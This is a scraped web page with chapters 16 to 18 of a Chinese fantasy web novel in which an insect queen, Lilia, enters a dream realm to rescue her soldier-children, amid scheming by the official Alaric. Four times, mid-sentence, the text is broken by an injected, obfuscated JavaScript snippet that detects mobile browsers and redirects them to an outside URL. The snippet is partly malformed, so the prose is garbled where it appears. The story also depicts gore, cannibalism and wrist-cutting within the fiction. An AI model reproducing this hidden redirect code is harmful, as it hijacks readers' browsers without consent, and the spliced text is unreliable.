可是她背叛了他们,她说要去找到自己的名字,她说她不是玛提亚·杰内特瑞克斯,她甚至说,她不是他们的妈妈。 太可怕了,他们失去了母亲。 现在,他们找到了新的妈妈,尽管她错认了他们。 但是,她不会知道这个秘密的,她会永远待在这里,而他们会献上自己的忠诚。 * 莉莉亚乖乖待在他的怀里,轻声说:“让风停下来吧。” 她的手指那么软,轻轻覆在他的脸上,热气一点点传到他身上,他觉得自己要被点燃了。 但是杀意却在下一秒袭来,他将莉莉亚送进那些呆呆看着的虫族怀中,留下一半的精神力,然后横刀架开了能劈山斩海的一剑。 “妈妈只有一个,她不是妈妈。” “没有人可以背叛妈妈。” “你要找赝品,我们会杀了你。” “然后,杀了她。” 他们无法忍受有人背叛虫母,即使他们已经被舍弃了,可没有人能动摇妈妈在他们心中的地位。 可他们内心深处不愿承认的是,他们也在恐惧,恐惧自己真的会背叛母亲,然后被她再次舍弃。 莉莉亚想要制止他们,她不明白为什么这些孩子这样享受杀戮。 可那个虫族朝他们吼道:“带她走。” 再不走的话,我不知道还会不会想要你活下来。 即使是假的也好,妈妈。 * 那个抱着莉莉亚的虫族被剩下的虫族守护着,他们知道,自己终有一日也会堕落成这模样。 但在此之前,他们要最后一次保护妈妈。 耳边只有那虫族的沉闷的心跳声,莉莉亚被带走了,飞离城墙时,她才发现。 这里飞扬的不是她以为的旗帜,而是一具具尚新鲜的尸体,顺着风,那血如河般倾泻。 她不敢相信自己看见的一切,捂着眼睛在哭,眼泪多到打湿了那虫族的衣服。 风声不知在何时停下,他们已经逃离了永生之城,却也没有力气了。 那虫族将莉莉亚放下,她没穿鞋,赤脚站在这样的地方,他只能用尽最后的力气收起虫型,僭越地替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460481|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拭去脸上的泪,就像对待易碎的瓷器。 “妈妈,向前跑。” 他说完就支撑不住,退化成最原始的模样。 莉莉亚泪眼朦胧,她看见自己的孩子们伤痕累累,外骨骼都被罡风削断,变成一只只虚弱的小虫子。 可她无能为力,她的成熟期迟迟未完成,她救不了他们。 这是这些虫族从未有过的无力时刻,他们不再是星际间最强大的战士,不再是能够捍卫虫母荣光的孩子,他们看着自己的妈妈落泪,躺在雪地之中,等待陷入无情的杀戮。 柔软潮湿的手捧起他们,他们被妈妈放在最靠近她胸口的位置,这里有着她的心脏,跳动的鲜活的代表生命的地方。 莉莉亚小心翼翼地把他们捧起来,她有点后悔自己只穿了这身裙子,没有地方藏匿这群孩子们。 他们虽成了虫型,却也不是软趴趴的,坚硬的外骨骼抵在她的胸口,随着她的奔跑一下一下划伤她的皮肤。 那鲜血流了出来,滴在他们身上,却没有迎来奇迹。 他们真的要离开了,在生命的最后一刻惹得妈妈落泪,真是失败的一生啊。 他们中有人木讷,从来不曾奢望过能够见到母亲,只是偷偷在每个夜深人静的夜晚咀嚼那些偷拍的属于她的照片。就算是刚才,他们也不敢上前,只是一声不吭地抗住所有的伤害,护着那个抱着妈妈的虫族。 现在,他们被藏在妈妈的胸口,柔软滑腻的触感好像生命之初曾感受过的那样。 她的味道怎么也闻不够,她的颤抖的声线让他们难过。 不要伤心了,妈妈。 我们是无能的孩子,无法保护您,不需要为我们流泪。 此刻,他们已经不想知道真相是什么,她是否背叛已经不重要了。 他们此刻在一起,就已经胜过所有的光阴。 莉莉亚感受到他们的逝去,她不敢停下了,只能跌跌撞撞地向前跑去。 每一次摔倒,她都会哭着把他们重新捧起来,藏在自己的胸口。 可他们有些僵硬了,因为她的挽留,还未化作光点消散。 再一次跌倒,莉莉亚看见,他们保持着生前的姿势,小巧但锋利的前爪紧紧抓住她胸前的衣服,却不敢贴近她的皮肤。 她慌乱地爬起来,想要喊醒他们,听到他们的回应。可是他们还是离开了,化作点点星光,第一次也是最后一次亲吻她的脸颊,然后,消散了。 这里没有爱她的虫族,却多了几个不得救赎的灵魂。 莉莉亚觉得自己是失败的,可恶的,该死的妈妈,她没有如约降生,让她的孩子们饱受痛苦,她没有尽快成熟,眼睁睁看着他们死去,她没有保护好他们,让他们一次次陷入危险。 我为什么是这样坏的妈妈? 梦境外,所有人感受到她身上磅礴的悲伤,她坐在透明的圣水中,安静地哭着,仿佛眼泪流不尽一般。 他们看见了在哭泣的母亲,在为孩子而痛苦的圣母,满脸是泪,像蒙上了一层水,他们都伸出了自己的手,想要触碰母亲,帮她拭去眼泪,但是他们无法触碰。 16. 梦中身(4) 莉莉亚知道,她没有时间伤心了,她应该立马找到塞尔,然后带他离开。 他的精神暴动太严重了,如果不先一步保护他,那毁灭级的精神暴动会让更多的虫族陷进来。 无论如何,她必须守护自己的孩子。 莉莉亚很听话,她一直往前走,哪怕这里白茫一片,分不出前后。 她那么轻,留下的脚印那么浅,风一吹就消失了。 阿拉里克很少与她谈论虫巢思维,她只知道,虫母能够轻而易举地通过它寻找到任何一个孩子。 这不需要教导,这应该是妈妈的本能。 可是莉莉亚做不到,她有些茫然地看着前方,双手捂在心口,她真的是他们的妈妈吗? 塞尔他们肯定很害怕,这里这么危险,他们会受伤的。只要一想到这个可能性,莉莉亚就心急如焚。 * 再一次的,她看见了狂风中轻微摇摆的旗帜。 “啊——”她双手捂住嘴巴,显然记得那城墙旗帜的真面目。 是她的孩子们。 她可怜的孩子们因为她的无能失去理智,成为自相残杀的怪物。 她没有教过孩子们这些。 莉莉亚以为,自己从来都是教会他们善良与爱,她都快不记得这个世界上还是有丑恶与恨了。 被保护的很好的虫母第一次发现了所谓好孩子的真面目。 不可以,她不能让她的孩子这样死去。 莉莉亚向前面跑去,她要把他们放下来,她要让他们回到自己的怀抱。 下一秒,一把刀架在她的脖子上。 那人面无表情,金色的眼眸像生锈的旧金属,看着她。 “你是谁?” 莉莉亚被吓到了,却在看到他时露出一个大大的微笑:“塞尔。” 他显然听不懂她的呼喊,这里没有塞尔。 刀更近了一分,这个疑似虫母的女人却一点都不怕,甚至双手握着刀身,眼睛亮亮的:“我是妈妈呀。” “我来带你们回家了。” 被叫做塞尔的人却没有露出一丝相认的样子,他还是冷冷地看着她。 他们就这样僵持着,直到听到人喊道:“多隆,你已经弱到这个地步了吗?” 那戏谑的调笑在看见莉莉亚时停止,他僵住了。 身后的人敏锐地意识到同伴的惊讶,向前望去。 他们看见了什么? 虫母吗? 为什么叫多隆,可他明明是塞尔。 莉莉亚抿了抿唇,她不会认错自己的孩子的。 * “不可以让陛下为我们冒险。” “妈妈那么脆弱,她承受不住的。” “长官,没有什么比虫母更重要了。” ······ 尽管莉莉亚亲自进入精神领域的消息被压得很紧,但这些风尘仆仆赶来的虫族还是知道了。有的人震惊于她竟然愿意以身涉险,有的人迅速反应过来,没有什么比妈妈的安全更加重要。 卡尼菲克斯治军极严,加上虫族生而有之的等级意识,从未发生过有士兵在战争时期擅自离开岗位,质疑长官权力的事情。 他闭了闭眼睛,再睁开时已经万分严厉:“私下再议者,去领罚。” 可他已经没有心思去等他们的回应,所有人呼吸变重,他们看见了什么? 他们的精神领域中出现了白茫一片,他们看见了自己心心念念的妈妈。 她那么小,站在雪地中,风太无情,吹起她的长发。嘴唇被咬得殷红,她好像快要急哭了。 好奇怪,她是一个多么喜欢为他们流泪的妈妈,为他们流泪。 每一滴眼泪都是因为她爱着他们,明明舍不得让她有一点难过。可是此刻,他们在想,如果是自己躺在她的怀里,那透明的眼泪落在他们身上,是不是会淌进他们的身体,化作他们的鲜血,永远陪伴着他们。 那样的话,这群从来不畏惧死亡的疯子们,会开始担心,随着伤口淌出的鲜血,将把他们和妈妈分离。 阿拉里克也看见了,他想起离开之前,卡尼菲克斯拦下他:“你还是想杀了她?” 他只是优雅地耸了耸肩,不知可否。 “你在诱导她,不是吗?”明明知道她很心软,哄骗她,让她决定自己孩子的生死。 “别和我说你是想让她证明自己。”卡尼菲克斯很清楚,这个得到莉莉亚信任的执政官根本不像他表现得那么无害。 他向来习惯操纵别人的情绪,总是三言两语就能控制他们的思想,让一切朝着他想要的方向发展。 阿拉里克垂眸,敛去一闪而过的阴翳,假装落寞地说:“我只是让大家看到所期望的。” “说起来,她还应该感谢我。她可是拥有了更加忠诚的战士,这不好吗?” 阿拉里克一直都不明白,为什么所有人都认为虫族应该是这样的,永远生活在虫母的阴影之下。 莉莉亚很特殊,但这并不重要。 他会创造一个不需要依靠虫母的虫族,他们的欲望将不会寄于虫母一身,他们能够自由地活在这个宇宙。 当然,他不得不承认虫母相当重要,承认他看不懂莉莉亚。 联邦一致认为阿拉里克是一个极具野心的政治家,没人能看懂他深邃的眼眸。即使那眼中装着古人类文明中最值得称颂的夏天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460482|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的绿意,但他的眼中从来没有多少生机。 阿拉里克并非不知道其他人的评价,赞誉也好,诋毁也罢,他都照单全收。 他只希望,自他以后,虫族将不是屈从基因的奴隶,将不会永远仰望一个随时会背叛的母亲。 卡尼菲克斯知道二人根本不可能达成一致,有些痛恨曾经妥协的自己。 应该相信的,她是很好的母亲。 莉莉亚都不能打动阿拉里克,他又怎么能改变这样的狼子野心。 可是就连卡尼菲克斯自己都没有发现,他的忠诚太脆弱,脆弱到默许塞尔托里乌斯和阿拉里克一次次将虫母置于险地。 他并不是自认为的虫母至上者,所有人都被骗了,就连他自己都被欺骗了。 传言中虫母最忠诚的骑士卡尼菲克斯,忠诚的是王座之上的虫母,却不是莉莉亚,忠诚的是无害的君王,却不是莉莉亚。 他臣服于这个伟大的头衔,以致于看不见王座之上那个总是因他们哭泣的女人。 她总是抱着他们落泪,总有人拭去她脸上的泪,请求她不要哭泣。 可是下一次,他们还是会选择让她痛苦,让她选择,让她流泪。 他们都以为莉莉亚尚未驯服这些可怕的虫族,可谁又知道是否被驯服者尚未意识到自己已经无路可逃,沉沦其中。 思绪收敛,阿拉里克看着等候一旁的奥格尔:“你觉得,她能活下来吗?”除了在莉莉亚面前,阿拉里克从来都不会喊陛下,或者妈妈。 他们都明白这个她指的是谁,奥格尔努力不去看精神领域中的莉莉亚,说:“长官,很多时候,我们都太过自信了,觉得自己能够掌握一切。” 他停顿了一下:“但是她的存在早就已经证明,不管如何算计,虫族一定有这个不确定因素。” “您还记得,上一次失算是什么时候吗?” 第一次,他没有等待阿拉里克的话,抢先说道:“没有,即使是塞尔托里乌斯的选择,您都预判到了。从我追随您开始,从未见过您的错误,您太聪明了,太了解人心了。有时候我觉得自己称不上所谓的占卜官,但是这一次,命运告诉我,您不会如愿。” 阿拉里克从不相信命运,他选择奥格尔只是因为他不算太蠢。 可是这一次,他想知道,命运与他,谁是胜者? 此刻,所有人都目不转睛地看着画面中的圣母,唯有阿拉里克和卡尼菲克斯透过玻璃,看向真正的她。 她曾说过:“你们都是我的孩子,怎么可能忍心看着你们受伤?” 她应该知道的吧,如果她死在里面,外面多的是虫族要发疯,她会拼尽全力活下来的吧,为了他们。 17. 梦中身(5) 站在风中的小妈妈,即使被在意的孩子拿刀指着也没有生气,她只是着急,眼睛红红的,可也发现了眼前的塞尔看上去青涩很多。 虫族的成长速度几乎超越所有的种族,刚成为虫卵时,他们待在妈妈的小腹之中,那里温暖潮湿,能够听见她细微的呼吸声,数清她的心跳。 破壳之时,他们已经足够高大,能够将妈妈搂进怀中。 赐名是虫母再一次昭示她对他们的所有权,他们是妈妈裙下最忠诚的信徒,为了她而存在。 虫族的名字在数千年的演化中已经变得寥寥无几,凭工种划分而统一命名的种族在整个宇宙也就只有他们。 可还是存在唯一的,虫族好战嗜血,他们感恩母亲赐予的天赋,也觊觎如何再次占有妈妈的小腹。 只要能够将脸贴在她柔软熟悉的小腹之上,嗅闻她身上香甜诱人的味道,他们可以为了一个唯一的名字付出生命。 每一个高等虫族都能够拥有她赐予的独一无二的名字,他们将承袭那个名字,伏跪在她的面前,看着她在代代相传的名字中为他们挑选,然后开口,呼唤他们。 莉莉亚看着眼前人,他还不像以后那般杀戮气极重,阴晴不定,只是已经足够森气骇人了。 这是小时候的,她未曾见过的塞尔托里乌斯。 她轻轻推开那抵在肩上的刀,那刀上沾了血,斑驳凛冽。 他刚刚杀了人。 这里只有虫族,那么他只能是杀了自己的兄弟。 莉莉亚还是难过,只是重复道:“我是妈妈呀,我来带你们回家了。” 她的脸颊蹭上了血,混着满脸的泪,看上去可怜极了。 多隆没想到竟然有人敢移开他的刀,直接横刀劈去,叫她永远留在这里。 可刀碎了,在他下意识回旋收刀时被他突然失控的精神力震碎了。 多隆有些茫然地看着自己的手,他对精神力的控制一向超绝,这是他人生第一次失控。 他自出生起就是高等虫族,只要虫母降生,他会是她最锋利的剑。 生命与苦难皆来于一人,也是那个尚未降生的虫母让他坠落深渊,成为弃臣。 现在,这个女人说,她是妈妈,她要带他离开。 多可笑,虫族最需要她的时候,她置之不理,只顾着沉睡在奥瓦里安。 多隆原本不会是多隆,他是令人艳羡的天选之子,他本会得到虫母的赐名,拥有站在她身后的机会。 那些等待了很久的虫族第一次不带有嫉妒敌意的目光看着他,他们无比希望这个新生的高等虫族能够依靠妈妈的偏爱唤醒沉睡的她。 多隆有些紧张,他不过新生,就被送到奥瓦里安最神圣的深处,要他找到妈妈。 精神触角一点点延伸,冷汗细细爬满了他的额头。 没有,这里没有妈妈。 上一任虫母曾经怨毒地诅咒,虫族这样可怕的物种将在她之后消失。 所有虫族都知道,但他们不愿相信。 多隆不愿意放弃,还是坚持,可是直到最后,他都没有找到她。 所有人都看着他,目露期盼,说呀,说你感觉到了妈妈,说你唤醒了她。 多隆面无表情地说:“没有。” 话音刚落,那探查过的地方轰然倒塌,与母亲小腹中繁育他们一般无二的液体流了出来,像一条血红的长河,却迅速消失在奥瓦里安的大地之上。 毫无疑问,他失败了,于是他被剥夺了所有的权力。 虫族不会想要伤害自己的母亲,他们不相信是他刻意为之,可总有人要为此付出代价。 尚未成长的他被扔进了前线,他要为他的无能付出生命的代价。 于是,他有了一个不是妈妈亲手赠予的名字,他叫多隆,是一名侦察兵。 多隆不像别的虫族,他的精神力被分食,他需要供养即将枯萎的虫巣思维,他要恕罪。 为他的无能,为他的不忠,为他揭露的可预见的灭亡。 多隆本就没见过虫母,只是生来就有人告诉他,你应该爱她的,她多么爱你啊。 可是那个应该出现的妈妈并没有降临,她好像并不爱他。 接下来的岁月,虫巢思维就像陷入沉睡一般,只是偶尔会波动。虫族从一开始的激动到如今的无动于衷,他们已经不想要再失望了。 但是每一次波动都有可能让他们死亡,超高速信息共享带来的不仅是高作战效率,还有各种因为波动而付出生命的失误。 所以多隆厌恨这样的天赋,他讨厌虫族与生俱来的东西,因为这并不是恩赐。 他成了一名侦察兵,他见过自己的兄弟因为没有虫母的安抚而死于精神暴乱。他们有的被先一步杀了,有的痛苦到将生生用手折断了自己的脑袋。 多隆一直都是一个人,虫族之中,没有人理解他,他是所有人默认的出气筒。 可他就这样从最底层一步一步爬上来,身上的功勋多到数不清,甚至超过原有的位置,他成为了功震星际的三大势主之一。 杀死联邦之星的那一天,虫族所有人都知道,是时候让他夺回自己的名字了。 他的目光越过空无一人的王座,眸色很深,他说:“塞尔托里乌斯。” “我是塞尔托里乌斯。” 他会是反叛者领袖,是战争机器,是渎神者。 莉莉亚就这样看见了属于塞尔托里乌斯的,她未曾参与的一生。 她陷入了他的记忆里,她在感受他曾经的痛苦与荣光。 他杀死了那些想要分食他的兄弟,杀死了那些想要伤害他的联邦敌人,然后把他们穿在战旗之上,顺着猎猎罡风飘扬。 在他的眼中,虫族和敌人都一样的,凡是冒犯的都应该被杀死。 这是塞尔托里乌斯对虫母的挑衅,不是号称虫族的母亲吗? 现在,我杀了我的兄弟,我蔑视你的权威。 * 莉莉亚忍不住哭了,混着鲜血的眼泪落在雪上。 她为自己的缺席悔恨,为自己的无知痛苦。如果早一点回来就好了,早一点回来,她的孩子们是不是能够过得好一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460483|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 多隆,又或者说塞尔托里乌斯身后的虫族们蠢蠢欲动,他们闻到她眼泪的味道。 那么香甜,那么诱人,就好像是妈妈小腹深处的味道。 是在意的味道,她在为虫族哭泣。 好饿,太饿了,面前这个女人一出现就夺走了他们所有的注意力。 吃掉她,吞噬她,咀嚼她,你们就会感到饱腹了。生来饥饿的虫族找到了自己应有的食物。 可他们不能,她说她是妈妈。 但是他们已经饿了太久了,久到马上就要死了,久到马上就再也看不见她了。 有人忍不住了,用力抓住身边的兄弟的翅翼,按住他所有的挣扎,生生割开他的身体。 边上的虫族见怪不怪,弱肉强食,这是虫族最根本的法则。 他们不能吃她,他们要活下去。 所以他们只能分吃自己的兄弟。 血涌了出来,他们将那个奄奄一息的虫族按在地上,拖到一边,要吃了他。 站在一旁的莉莉亚却越过塞尔托里乌斯,她要阻止他们。 她跑得那么快,那么决绝,即使是塞尔托里乌斯也没能拦住她。 那些人就这样愣愣地看着她轻而易举地夺过他们的刀,往手腕上用力划了一刀。 莉莉亚的力气很小,回到主星之后,那些虫侍把她看做最珍贵脆弱的瓷器,不会让她碰一点重物。 她被养得极精细,极娇贵,原本不大的力气更是所剩无几,更别说拿得动他们惯用的刀。可是此刻,这个柔软愧疚的小虫母竟然能够划开了自己的手腕。 血流了出来,她松开紧握着刀的手,伸到那个即将被吃的虫族面前。 那个虫族要死了,可他不会伤害妈妈的,只是用尽力气把头扭到一边。莉莉亚只好用手指沾了点血,喂到他的口中。 然后看向那些想要杀死兄弟的虫族,她好心疼:“没关系,来妈妈这里。” “妈妈会喂饱你们的。” 那些虫族看着她流血的手腕,感受到她的眼泪,他们围了上去。 心底有个声音告诉站在一旁的塞尔托里乌斯,你要去拯救她,她是个不折不扣的笨蛋,她会被吃掉的。 还没反应过来,他就冲上前去,要剥开那些仿佛长在莉莉亚身上的虫族。 他们围得太紧了,每个人都牢牢地靠在她身边,想要多留一点味道。 或许,她已经死了。 可是没有,他们只敢嗅闻那属于妈妈的鲜血,然后如同忠诚的狗一般,守在她身边,紧紧贴着她的肌肤,感受她的温度。 莉莉亚却一直坚持,她的手指都被自己咬破了,知道他们不敢阻止她,就一点点地把血抹在他们的唇上。 这里很冷很白,在塞尔托里乌斯的记忆里,最后,只有他活了下来。 可是现在,妈妈出现了,她以献祭的姿态喂养他们。 莉莉亚看向他甚至有些无措的眼神,此刻,她是担心孩子孤独委屈的妈妈:“塞尔,到妈妈这里来。” 我来带你回家了。 18. 失控落寞 塞尔托里乌斯恢复意识时,最先闻到的是一股熟悉潮湿的甜味,他还没有完全清醒,记不起到底在何处感受过这样的味道。 金色的眼眸睁开,他已经很久没有这般轻松过了,无时无刻在抑制的精神力就像是温顺的绵羊,安安静静地待在他的身体里。 就像新生一般。 这个新生的暴君站起来,几乎是下意识地就去寻找什么。 他看向了安静待在圣水中的女人,比起这个巨大的特制容器,这个虫母显得那么娇小,占不了多少位置。 她闭着眼睛,脸颊上亮晶晶的,让人分不清是眼泪还是别的什么。 看向她的瞬间,塞尔托里乌斯忽然想起狂风之中,刀离她那么近,可她既不害怕也不生气,只是一遍遍重复:“你不是多隆,你是塞尔托里乌斯。” 她说你是我的塞尔。 真贪心啊,就这样粗暴地将他划为自己的所有物。 有点不服气的战场暴君看着莉莉亚,又在心里叹了口气,觉得其实这样也不算糟糕。 反正她已经哭得这么可怜,作为虫族第二星线军团长、战场暴君和渎神者,他应该让着她。 塞尔托里乌斯走向她,那股香甜的味道更加浓烈,他有些怀疑,或许整个第三星线都能闻到这股香味。 他看着莉莉亚,那些虫族却用嫉妒的眼神看着他。 他们全都看见了,这个坚韧又爱哭的妈妈一直在寻找塞尔托里乌斯,她急得流眼泪,被伤害也不放弃,只是热切地看着他。 虫族能够感觉到她身上磅礴的悲伤,那就像是古人类记录中的雨一样,蔓延着在她所站立的地方,湿润地附着在他们身上,令他们窒息。 怎么可能不嫉妒呢? 塞尔托里乌斯生来强大,他一出生就是高等虫族,即使犯过大错也重新爬上了高位。 他的强大来自于慷慨无私的虫母,又因为强大得到了母亲的喜欢。如果他们也足够强大,是否就能够住进她那双会流泪的眼睛,那又该是怎样的愉悦。 有人正去往前线,有人在运送武器,有人在探查情报,宇宙间的虫族都在为了虫母的荣光而斗争。 那背叛的传言已无人相信,妈妈已经证明了她的爱意。 此刻,他们需要向伟大的虫母展示,他们的价值。 * 莉莉亚躺在柔软的床上,乌发散着,脸颊极红,温度很高。 她被阿拉里克抱着离开后,就直接开始发烧了。 这个新生的虫母正在度过最后的成熟期,异香萦绕在整个虫族心头。这些联邦研究中无比古板严苛,如同机械一般的虫族目无军纪,人还站在岗位上,心却已经飞在妈妈身边了。 他们到底是更在意她的安危,只敢借着轮换时那短暂的时间去思念她。 没有一个虫族想着休息,他们都想要待在虫母寝殿外,靠近妈妈的呼吸。 他们甚至又开始打架,心照不宣地知道唯有打赢的人才有资格留下来,才能够闻到妈妈的味道。 如果莉莉亚还醒着,她一定会皱着眉,不喜欢看到他们打架。然后这个心软的虫母会仰起头,用祈求的目光看着阿拉里克,说自己想和孩子们多待一会儿。 卡尼菲克斯看着寝宫外屏息站着的虫族,这么多人,却安静无比,精神力敛得干干净净,甚至连一丝多余的信息素都没有。 虫母正在成熟,拥有号令虫族的权柄的同时,她会真正成为虫族唯一的剑鞘。 她存在,虫族存在;她喜悦,虫族欢呼。 因为她,虫族拥有真正成熟的虫巣思维,也将减轻精神暴动的影响。 甚至连那些命悬一线的虫族都醒了过来,他们脸上还带着战时的阴鸷,可一想到妈妈就软了眼神。 还在沉睡的妈妈,用她小小的身躯,将如影随形的死亡与他们隔开。 * 莉莉亚在第三天醒来,正好是阿拉里克守着她。塞尔托里乌斯和卡尼菲克斯要去结束这场突如其来的战争。 她的眼睛雾蒙蒙的,长时间的昏迷让她有些茫然,像第一次出门的小猫般观察着。 阿拉里克没有坐在她床边,而是挺拔地站着,没有其他动作,只是目光没有离开她。 她一睁开眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460484|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阿拉里克就发现了。他静静等着,等她适应了一会儿,就控制不住地上前:“陛下,您感觉如何?” 他觉得自己已经足够温柔了,不会吓到这个刚刚苏醒的虫母。 可是莉莉亚的第一反应就是后退,她看清了他的脸,想要惊呼,又硬生生停在喉中,只是身体不住地往后躲。 她在躲着他,她在害怕他。 阿拉里克看到她的动作,眼神晦暗,莉莉亚从来都不会拒绝他的怀抱。 她多么信任他,对于他的话言听计从,不愿意让他为难。 但是这一次,她拒绝了他的怀抱。 到底是哪里出现了问题? 莉莉亚垂下脑袋,看着自己的双手,太明显了,他会难过的吧。 不,阿拉里克的话,是不会因为她而难过的。 她不讨厌阿拉里克,只是有些害怕那个可能。 那个会让她万劫不复的可能。 莉莉亚不知道应该如何解决,只好一直低着脑袋,不去看他。 阿拉里克就这样僵硬地站在床边上,伸出的手一直停在空中,好久才装作若无其事地收回去。 莉莉亚毛绒绒的脑袋对着他,却不抬头看他一眼。 为什么? 她知道了吗? 知道他一直在利用她,知道他不够忠诚的爱,知道他的虚伪了吗? 阿拉里克有些冷地勾了勾唇,即使知道了也没关系,他并不在意。 他为什么要在意虫母是否害怕他?只要莉莉亚不要尝试控制他们,他就完全不用在意她的想法。 虫侍们自然感觉到了母亲的苏醒,即使知道阿拉里克执政官正在服侍妈妈,也大着胆子,要通传进来,就为了能看她一眼。 莉莉亚听见他们的声音,松了口气:“阿拉里克,我有他们就够了,你去忙你的吧。” 她说得那么轻快,眼睛亮亮的,期待地看着门口。 阿拉里克收了笑,面无表情却仍是轻声:“如您所愿。” 他与那些脸上洋溢着喜悦的虫侍擦肩而过,也知道她的目光一次也没有落在他身上。